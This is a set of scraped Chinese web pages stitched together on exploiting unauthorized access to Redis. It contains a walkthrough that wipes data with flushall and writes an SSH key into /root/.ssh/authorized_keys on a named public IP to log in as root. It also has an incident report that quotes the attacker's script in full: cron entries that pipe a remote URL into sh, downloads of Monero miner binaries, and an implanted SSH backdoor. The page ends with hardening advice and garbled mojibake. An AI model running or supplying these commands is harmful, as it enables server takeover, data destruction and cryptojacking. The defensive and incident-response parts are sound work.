redis未授权访问及配置不当导致的系统被入侵的实例
redis未授权访问及配置不当导致的系统被入侵的实例
这只是个实例。。。
产生原因很简单 &
redis未授权访问 &/root/.ssh可写
测试环境 &攻击机 Ubuntu 14.10
& & &靶机 &212.71.254.221
公钥文件名 &id_rsa.pub
ssh-keygen -t rsa -C &redis&
把公钥输出来写入到一个txt里 & 这里txt名字为redis.txt
(echo -e &\n\n&; cat id_rsa. echo -e &\n\n&) & redis.txt
那么接下来。。。咱。。清空下redis的数据。。。&慎重行事&
redis-cli -h 212.71.254.221 flushall
然后就是吧redis.txt的内容存进去
cat redis.txt | redis-cli -h 212.71.254.221 -x set crackit
那么 &重头戏来了
连接redis服务器
进入到/root/.ssh目录
redis-cli -h 212.71.254.221
config set dir /root/.ssh/
接着把我们之前存到redis里的redis.txt的内容导入到authorized_keys
这样就可以不用密码登陆靶机的ssh
当然 &最后还要save一下。。。毕竟要保存嘛
config set dbfilename &authorized_keys&
那么尝试登陆ssh
ssh -i id_rsa root@212.71.254.221
由此可见。。。配置需谨慎。。三思而后行
本文固定链接:
昵称： 个人简介：昵称： 个人简介：昵称： 个人简介：昵称： 个人简介：昵称： 个人简介：阿弥陀佛昵称： 个人简介：昵称： 个人简介：放下才能高飞昵称： 个人简介：一个战斗力只有5的喳喳!
安全合作单位：
页脚底部250x250，请务必开启。
导航菜单 / NavMenu
文章概况 / Preview
热度 4,542℃
登录 / Login记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)v
听到朋友说接到阿里云的报障，提示黑客把他的服务器当肉鸡了，当时有点怕怕，继而官方的网络带宽也爆了进而系统处于瘫痪，当时我需要帮他处理这个问题
1 在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因
2 在各种netstat –ntlp
的查看下没有任何异常 在top 下查到了有异常进程还有些异常的这里就截图一个
3 结果果断把进程给kill
没想到再去ps的时候又来了意思就是会自动启动它
这就让我想到了crond 这个自动任务果不其然 /var/spool/cron/root 这个文件被人做了手脚而且是二进制的声音干脆果断又给删除了，
以为这下没事了结果过了两分钟这个文件又来这个就引起我主要了联想到了是不是有说明守护进程了这样的事情肯定是有守护进程在才
会发生的了，于是我去百度了下 jyam
-c x -M stratum+tcp 果不其然确实有这样的攻击，网上说这个攻击是由于redis未授权登陆漏洞引
起导致黑客利用的结果我去redis 控制台登录一看固然有个莫名其妙的key 刚好这个key 就是ssh的key于是断定黑客是从reids的未授权漏
洞登陆进来的（因为便宜服务器防火墙是关闭状态的端口全部开放的）
4 在服务器上我查了自动任务的文件被黑客编译成二进制的源文件代码，所以我无法得知内容。 但是我在crond的日志里面找到了他下
载脚本的链接
5 代码大致如下
exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" &/var/spool/cron/root
# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -
Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8
Coo:x@xmr.crypto-pool.fr:6666/xmr"&&
/var/spool/cron/root
echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &"&& /var/spool/cron/root
ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -
Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8
Coo:x@xmr.crypto-pool.fr:6666/xmr&
if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-
rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB
CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx
L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX
1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot"
& ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes"&& /etc/ssh/sshd_config
echo "RSAAuthentication yes"&& /etc/ssh/sshd_config
echo "PubkeyAuthenticationyes" && /etc/ssh/sshd_config
echo "AuthorizedKeysFile.ssh/KHK75NEOiq" && /etc/ssh/sshd_config
/etc/init.d/sshd restart
if [ ! -f"/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x -
Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8
Coo:x@xmr.crypto-pool.fr:6666/xmr
if [ ! -f"/opt/gg3lady" ]; then
curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
chmod +x /opt/gg3lady
# yam=$(ps auxf| grep yam | grep -v grep | wc -l)
# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)
# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`
于是终于找到源头了，下面我们来分析下这个脚本
6 脚本分析
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" & /var/spool
/cron/root
每两分钟来一次这个脚本
echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &"&& /var/spool/cron/root
这个脚本我不知道干么的应该是生成这个自动任务文件的守护进程以至于删除自动任务文
件会自动再来一份
脚本进程死了这个自动任务又会起来
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
这个是挖矿脚本，黑客靠这个连接池去挖btc（比特币）意思就是这个肉鸡已经提供了
下面这个就是一个免密钥登陆的脚本了
下面这两个是下载文件的脚本跟赋权限
整个脚本的大致就这样
处理方法只要把 /var/spool/cron/root 删除
/opt/yam/yam
/opt/gg3lady 删除
.ssh/KHK75NEOiq 删除
进程结束还有就是sshd_confg 文件还原，把redis入侵的key删除应该就没问题了。但是为了安全起见还是希望
重装服务器，不确保别人 不留其他的漏洞
关于reidis 未授权登陆漏洞
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。
Redis 安全模型的观念是:
“请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为,
99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis 绑定在0.0.0.0:6379，并且没有开启认证（这是Redis的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中，进而可以直接登录目标服务器。
（导致可以执行任何操作）
Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
这里我可以演示一遍给大家看看怎么通过redis未授权漏洞直接免密钥进行登陆
（注意我本机是162
要入侵的服务器是161）
1 生成本地服务器私钥跟公钥
2 把公钥写进我们要攻击的服务器的redis一个key里面去 (为什么要把公钥加空格追加到一个文件是因为redis的存储)
登陆要攻击的服务器redis控制台，从新定义redis保存数据的路径为configset
dir /root/.ssh/（这个是需要知道linux下面ssh 面密钥登陆的key默认的存放才能设定的默认情况下是/roo/.ssh一般情况下很多管理员都不会去更改），在把reids的dbfilename定于成 linux 下面ssh面密钥登陆的文件名就好了configset
dbfilename "authorized_keys"（默认文件名是authorized_keys 这个广大linux管理员都这个这个所以这个入侵还是要点linux功底的），最后保存 save
4 激动人心的时刻到了直接ssh 登陆192.168.8.161
无需要密码就能登陆了
到这里我们就可以完全控制别人的服务器了，你先怎么玩就怎么玩了（仅供学习研究）
6 这里我搜了下全球暴露公网的还有10W+的的服务器,（仅供学习研究,希望不要利用教程去做违法的事情）
技术支持: 龙果学院
没有更多推荐了，
加入CSDN，享受更精准的内容推荐，与500万程序员共同成长！关于Redis未授权访问漏洞利用的介绍与修复建议_Redis
作者：用户
前言本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容，文中对该漏洞进行了详细，并给出了相对应的修复/安全建议，下面话不多说了，来一起看看详细的介绍吧。一、漏洞介绍Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redi...
本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容，文中对该漏洞进行了详细，并给出了相对应的修复/安全建议，下面话不多说了，来一起看看详细的介绍吧。
一、漏洞介绍
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。
部分 Redis 绑定在 0.0.0.0:6379，并且没有开启认证（这是Redis 的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，将会导致 Redis 服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接使用对应的私钥登录目标服务器。
二、漏洞利用
首先在本地生产公私钥文件：
$ ssh-keygen –t rsa
然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa. echo -e "\n\n") & foo.txt
连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379& config set dir /root/.ssh/
$ 192.168.1.11:6379& config get dir
2) "/root/.ssh"
$ 192.168.1.11:6379& config set dbfilename "authorized_keys"
$ 192.168.1.11:6379& save
这里讲解下，这里设定了crackit的键值为公钥，并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件，并将键值重定向追加到远程文件authorized_keys的末尾，也就上传了公钥。
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里，然后攻击者直接执行：
$ ssh –i id_rsa root@192.168.1.11
可远程利用自己的私钥登录该服务器。
刚刚我们提到公钥登录和Redis持久化存放数据操作，这里简单讲下原理
详细讲解ssh登录–公钥登录
SSH提供了公钥登录，可以省去输入密码的步骤。
所谓"公钥登录"，原理很简单，就是用户将自己的公钥储存在远程主机上。登录的时候，远程主机会向用户发送一段随机字符串，用户用自己的私钥加密后，再发回来。远程主机用事先储存的公钥进行解密，如果成功，就证明用户是可信的，直接允许登录shell，不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的，可以直接用ssh-keygen生成一个：
$ ssh-keygen
运行上面的命令以后，系统会出现一系列提示，可以一路回车。其中有一个问题是，要不要对私钥设置口令（passphrase），如果担心私钥的安全，这里可以设置一个。
运行结束以后，在$HOME/.ssh/目录下，会新生成两个文件：id_rsa.pub和id_rsa。前者是你的公钥，后者是你的私钥。
通常这时再输入下面的命令，将公钥传送到远程主机host上面：
$ ssh-copy-id user@host
authorized_keys文件，远程主机将用户的公钥，保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串，只要把它追加在authorized_keys文件的末尾就行了。
详细相关的Redis持久化命令
Redis支持2种持久化策略：snapshot方式和commandlog方式，前者通过将当前内存数据快照周期性写入RDB文件来实现；后者通过在log中记录Redis进程收到的写操作来实现，下次Redis重启时，回放commandlog来恢复数据状态。
这里使用RDB文件写入SSH key文件，需要设置以下两个 RDB相关配置
dbfilename
指定RDB文件名，默认为dump.rdb
指定RDB文件存放目录的路径，若包含多级路径，则相关父路径需事先mkdir出来，否则启动失败。
set(key， value)：给数据库中名称为key的string赋予值value
最后Client使用save命令通知redis做一次快照持久化
修复建议/安全建议
1.禁止一些高危命令
修改 redis.conf 文件，添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis 添加密码验证
修改 redis.conf 文件，添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件，添加或修改，使得 Redis 服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys 文件的安全
为了保证安全，您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读，其他用户没有任何权限：
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉，您还需要设置该文件的 immutable 位权限：
# chattr +i ~/.ssh/authorized_keys
然而，用户还可以重命名 ~/.ssh，然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况，需要设置 ~./ssh 的 immutable 位权限：
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥，需要移除 authorized_keys 的 immutable 位权限。然后，添加好新的公钥之后，按照上述步骤重新加上 immutable 位权限。
以上就是这篇文章的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对脚本之家的支持。
以上是互联网用户为您的的内容，在阿里云内部有更多的关于关于Redis未授权访问漏洞利用的介绍与修复建议_Redis的内容，欢迎继续使用右上角搜索按钮进行搜索redis未授权访问漏洞、redis未授权访问利用、redis未授权漏洞、以便于您获取更多的相关信息。
本文内容由互联网用户自发贡献自行上传，本网站不拥有所有权，未作人工编辑处理，也不承担相关法律责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件至：zixun-group@service.aliyun.com 进行举报，并提供相关证据，工作人员会在5个工作日内联系你，一经查实，本站将立刻删除涉嫌侵权内容。
若您要投稿，删除文章请联系邮箱：zixun-group@service.aliyun.com
工作人员会在5个工作日内回复
Mysql教程栏目为您免费提供
相关信息，包括
的信息 ，所有
相关内容均不代表阿里云的意见！投稿、删除文章请联系邮箱：zixun-group@service.aliyun.com，工作人员5个工作日内回复。本视频由声明原创。鍚庝娇鐢ㄥ揩鎹峰?鑸?病鏈夊笎鍙凤紵
i鏄ョ?绛剧害浣滃?
TA鐨勬瘡鏃ュ績鎯呰“ 19:03绛惧埌澶╂暟: 38 澶╄繛缁??鍒